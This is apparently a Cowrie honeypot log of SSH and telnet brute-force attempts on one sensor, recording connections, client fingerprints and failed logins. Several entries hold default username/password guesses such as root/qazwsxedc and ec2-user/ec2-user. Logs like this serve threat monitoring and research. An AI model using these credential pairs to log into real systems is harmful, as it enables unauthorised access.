{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T08:37:38.765083Z","src_ip":"45.156.87.254","session":"9217b22dd4cc","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T08:37:38.854414Z","src_ip":"45.156.87.254","session":"9217b22dd4cc","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"sinusbot","password":"sinusbot","message":"login attempt [sinusbot/sinusbot] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T08:37:39.116906Z","src_ip":"45.156.87.254","session":"9217b22dd4cc","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T08:37:40.202118Z","src_ip":"45.156.87.254","session":"9217b22dd4cc","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"45.156.87.254","src_port":37986,"dst_ip":"159.203.135.109","dst_port":22,"session":"e65ab7a20e36","protocol":"ssh","message":"New connection: 45.156.87.254:37986 (159.203.135.109:22) [session: e65ab7a20e36]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T08:37:43.820582Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T08:37:43.824925Z","src_ip":"45.156.87.254","session":"e65ab7a20e36","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T08:37:43.909474Z","src_ip":"45.156.87.254","session":"e65ab7a20e36","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"user1","password":"user1","message":"login attempt [user1/user1] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T08:37:44.163212Z","src_ip":"45.156.87.254","session":"e65ab7a20e36","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T08:37:45.249915Z","src_ip":"45.156.87.254","session":"e65ab7a20e36","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"186.30.115.187","src_port":49788,"dst_ip":"10.17.0.5","dst_port":22,"session":"053e80ad3b56","protocol":"ssh","message":"New connection: 186.30.115.187:49788 (10.17.0.5:22) [session: 053e80ad3b56]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T08:37:45.406464Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T08:37:45.411072Z","src_ip":"186.30.115.187","session":"053e80ad3b56","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T08:37:45.500266Z","src_ip":"186.30.115.187","session":"053e80ad3b56","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"ftpuser","password":"ftpuser2022","message":"login attempt [ftpuser/ftpuser2022] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T08:37:45.883323Z","src_ip":"186.30.115.187","session":"053e80ad3b56","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.6","message":"Connection lost after 1.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T08:37:46.974939Z","src_ip":"186.30.115.187","session":"053e80ad3b56","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"109.252.148.254","src_port":3064,"dst_ip":"10.17.0.5","dst_port":23,"session":"8de8ce708bb2","protocol":"telnet","message":"New connection: 109.252.148.254:3064 (10.17.0.5:23) [session: 8de8ce708bb2]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T08:37:48.129764Z"}
{"eventid":"cowrie.session.connect","src_ip":"45.156.87.254","src_port":48346,"dst_ip":"159.203.135.109","dst_port":22,"session":"3fe4a587450c","protocol":"ssh","message":"New connection: 45.156.87.254:48346 (159.203.135.109:22) [session: 3fe4a587450c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T08:37:48.594988Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T08:37:48.599503Z","src_ip":"45.156.87.254","session":"3fe4a587450c","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T08:37:48.686688Z","src_ip":"45.156.87.254","session":"3fe4a587450c","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"deploy","password":"123","message":"login attempt [deploy/123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T08:37:48.935613Z","src_ip":"45.156.87.254","session":"3fe4a587450c","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T08:37:50.043711Z","src_ip":"45.156.87.254","session":"3fe4a587450c","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":31.636407375335693,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T08:37:50.666476Z","src_ip":"104.245.105.2","session":"2c4c43aaad33","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"45.156.87.254","src_port":48358,"dst_ip":"159.203.135.109","dst_port":22,"session":"d712e59e82d5","protocol":"ssh","message":"New connection: 45.156.87.254:48358 (159.203.135.109:22) [session: d712e59e82d5]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T08:37:53.806420Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T08:37:53.810861Z","src_ip":"45.156.87.254","session":"d712e59e82d5","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T08:37:53.898239Z","src_ip":"45.156.87.254","session":"d712e59e82d5","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"qazwsxedc","message":"login attempt [root/qazwsxedc] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T08:37:54.380965Z","src_ip":"45.156.87.254","session":"d712e59e82d5","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.7","message":"Connection lost after 1.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T08:37:55.475116Z","src_ip":"45.156.87.254","session":"d712e59e82d5","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"45.156.87.254","src_port":56034,"dst_ip":"159.203.135.109","dst_port":22,"session":"6c261b0df679","protocol":"ssh","message":"New connection: 45.156.87.254:56034 (159.203.135.109:22) [session: 6c261b0df679]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T08:37:59.671989Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T08:37:59.676555Z","src_ip":"45.156.87.254","session":"6c261b0df679","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T08:37:59.760519Z","src_ip":"45.156.87.254","session":"6c261b0df679","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"admin1","password":"admin1","message":"login attempt [admin1/admin1] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T08:38:00.016545Z","src_ip":"45.156.87.254","session":"6c261b0df679","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T08:38:01.103664Z","src_ip":"45.156.87.254","session":"6c261b0df679","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":13.331858158111572,"message":"Connection lost after 13 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T08:38:01.461534Z","src_ip":"109.252.148.254","session":"8de8ce708bb2","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"45.156.87.254","src_port":56042,"dst_ip":"159.203.135.109","dst_port":22,"session":"1c944a8daa84","protocol":"ssh","message":"New connection: 45.156.87.254:56042 (159.203.135.109:22) [session: 1c944a8daa84]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T08:38:05.729946Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T08:38:05.738645Z","src_ip":"45.156.87.254","session":"1c944a8daa84","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T08:38:05.829848Z","src_ip":"45.156.87.254","session":"1c944a8daa84","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"hadoop","password":"hadoop@1234","message":"login attempt [hadoop/hadoop@1234] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T08:38:06.121908Z","src_ip":"45.156.87.254","session":"1c944a8daa84","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T08:38:07.212276Z","src_ip":"45.156.87.254","session":"1c944a8daa84","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":43.051838397979736,"message":"Connection lost after 43 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T08:38:10.035443Z","src_ip":"20.123.41.163","session":"48df859b9599","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"45.156.87.254","src_port":34454,"dst_ip":"159.203.135.109","dst_port":22,"session":"91a3d57399d5","protocol":"ssh","message":"New connection: 45.156.87.254:34454 (159.203.135.109:22) [session: 91a3d57399d5]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T08:38:10.958745Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T08:38:10.964143Z","src_ip":"45.156.87.254","session":"91a3d57399d5","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T08:38:11.048507Z","src_ip":"45.156.87.254","session":"91a3d57399d5","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"185.145.252.179","src_port":41392,"dst_ip":"10.17.0.5","dst_port":23,"session":"b0ee299c068e","protocol":"telnet","message":"New connection: 185.145.252.179:41392 (10.17.0.5:23) [session: b0ee299c068e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T08:38:11.185226Z"}
{"eventid":"cowrie.login.failed","username":"ec2-user","password":"ec2-user","message":"login attempt [ec2-user/ec2-user] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T08:38:11.303536Z","src_ip":"45.156.87.254","session":"91a3d57399d5","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T08:38:12.398237Z","src_ip":"45.156.87.254","session":"91a3d57399d5","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"20.123.41.163","src_port":46692,"dst_ip":"10.17.0.5","dst_port":23,"session":"9810bd7402c7","protocol":"telnet","message":"New connection: 20.123.41.163:46692 (10.17.0.5:23) [session: 9810bd7402c7]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T08:38:13.663456Z"}
